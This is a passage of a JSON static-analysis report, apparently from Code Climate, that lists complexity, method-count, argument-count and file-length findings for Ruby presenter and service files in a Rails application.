refactoring.","fingerprint":"3e4902e11edd6de01b81f9a61f5d9d7b","location":{"path":"app/presenters/project_presenter.rb","lines":{"begin":275,"end":285}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `kubernetes_cluster_anchor_data` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"119e536f7905363201fb67bbdcd65824","location":{"path":"app/presenters/project_presenter.rb","lines":{"begin":287,"end":299}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `ProjectPresenter` has 40 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"174173017516e33835d52eb7c5513209","location":{"path":"app/presenters/project_presenter.rb","lines":{"begin":3,"end":370}},"other_locations":[],"remediation_points":3200000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `notification_service.rb` has 356 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"69e4d6c40c4449fefd31aa10ca6d0d74","location":{"path":"app/services/notification_service.rb","lines":{"begin":18,"end":550}},"other_locations":[],"remediation_points":2726400,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `NotificationService` has 57 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"f69a1b203ea4d5900672119cebb81b66","location":{"path":"app/services/notification_service.rb","lines":{"begin":18,"end":550}},"other_locations":[],"remediation_points":4900000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"40698d762fba8b2aa8a60c141d6d8790","location":{"path":"app/services/groups/create_service.rb","lines":{"begin":10,"end":29}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `can_create_group?` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b75b73bf2d690e5a17c2abe284491440","location":{"path":"app/services/groups/create_service.rb","lines":{"begin":37,"end":54}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `ensure_allowed_transfer` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b1a41885cc0a6ac544248d54c07e1636","location":{"path":"app/services/groups/transfer_service.rb","lines":{"begin":41,"end":47}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4bb4279e0d059ae00152e8bdf1ea798d","location":{"path":"app/services/groups/update_service.rb","lines":{"begin":7,"end":25}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `get_operation_id` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e02445fcf7469e25e1790f6de102578e","location":{"path":"app/services/clusters/gcp/provision_service.rb","lines":{"begin":24,"end":48}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ee86b571c5fd71a16cf372ae35959a1d","location":{"path":"app/services/clusters/applications/check_installation_progress_service.rb","lines":{"begin":6,"end":19}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c7bf557578299a5ba915c32a04c77757","location":{"path":"app/services/gravatar_service.rb","lines":{"begin":4,"end":18}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `valid_visibility_level_change?` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5663649284b422de3ee165079f02580a","location":{"path":"app/services/concerns/update_visibility_level.rb","lines":{"begin":4,"end":16}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1e2214a2c7403de3b6b130ef6a8ae0e7","location":{"path":"app/services/labels/transfer_service.rb","lines":{"begin":15,"end":29}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"889d22762e16d3366a67e51333a2ca58","location":{"path":"app/services/labels/promote_service.rb","lines":{"begin":8,"end":30}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"83f2800751c8e1fc38441feba44838e9","location":{"path":"app/services/notes/create_service.rb","lines":{"begin":5,"end":53}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `execute` has 27 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"64400ce10f6b24c336dc2c14dc7631e5","location":{"path":"app/services/notes/create_service.rb","lines":{"begin":5,"end":53}},"other_locations":[],"remediation_points":648000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `project` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"55c1155f35f19aeab86111aa747bcdef","location":{"path":"app/services/search_service.rb","lines":{"begin":12,"end":22}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `group` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9350f7f8937ed59a3c058c18876a72fc","location":{"path":"app/services/search_service.rb","lines":{"begin":26,"end":36}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `add_commits` has 6 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"eb5157bfd09a812f4b9e9e59faa9bd43","location":{"path":"app/services/system_note_service.rb","lines":{"begin":22,"end":22}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `change_status` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"1b2b9c2adcef9eef8232ca3fabba5213","location":{"path":"app/services/system_note_service.rb","lines":{"begin":214,"end":214}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `change_branch` has 6 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"d01b8c3144cf8ecd33ca899268167ba5","location":{"path":"app/services/system_note_service.rb","lines":{"begin":370,"end":370}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `change_branch_presence` has 6 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"dcdc7164fbd2b97a6ffca4f6dc2e0e44","location":{"path":"app/services/system_note_service.rb","lines":{"begin":390,"end":390}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `system_note_service.rb` has 269 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"9d114264549f2dceede46ea914a3550c","location":{"path":"app/services/system_note_service.rb","lines":{"begin":7,"end":679}},"other_locations":[],"remediation_points":1473600,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `change_time_spent` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5c81cb9f69e1de7b23d6f18ba82533d3","location":{"path":"app/services/system_note_service.rb","lines":{"begin":181,"end":197}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `cross_reference_disallowed?` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"cf012be1a6a2e48dd333008fe9d0d152","location":{"path":"app/services/system_note_service.rb","lines":{"begin":455,"end":461}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `existing_commit_summary` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9e510f603309baf5e0cb54ad77970a75","location":{"path":"app/services/system_note_service.rb","lines":{"begin":637,"end":659}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `create_mention_todos` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"8a610af9d7608ea64f58ba654367d763","location":{"path":"app/services/todo_service.rb","lines":{"begin":273,"end":273}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `attributes_for_todo` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"22c5b886bc2bcef31fd1446dabf42446","location":{"path":"app/services/todo_service.rb","lines":{"begin":310,"end":310}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `TodoService` has 43 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"888b933ca386de89d1c664deed0728bd","location":{"path":"app/services/todo_service.rb","lines":{"begin":10,"end":357}},"other_locations":[],"remediation_points":3500000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bcfd0e3ea01c9694d57bfccaa03838e6","location":{"path":"app/services/verify_pages_domain_service.rb","lines":{"begin":18,"end":28}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d473aafcb22747b52b1f62e820f2074d","location":{"path":"app/services/create_branch_service.rb","lines":{"begin":4,"end":21}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9a39c0c805730f76077d4c41f5a49ab0","location":{"path":"app/services/todos/destroy/entity_leave_service.rb","lines":{"begin":21,"end":35}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"dd806bba9fb1ffe1bffc98d5b313f431","location":{"path":"app/services/todos/destroy/private_features_service.rb","lines":{"begin":14,"end":25}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"669e705b9b727535b65aa70c23908b8a","location":{"path":"app/services/issuable/bulk_update_service.rb","lines":{"begin":6,"end":31}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"fa059d9d5e3d40934b6d454456a29e17","location":{"path":"app/services/issuable/common_system_notes_service.rb","lines":{"begin":7,"end":21}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `process_registry_access` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0a9f93af474354f18c131c4a6f33ce74","location":{"path":"app/services/auth/container_registry_authentication_service.rb","lines":{"begin":71,"end":77}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity 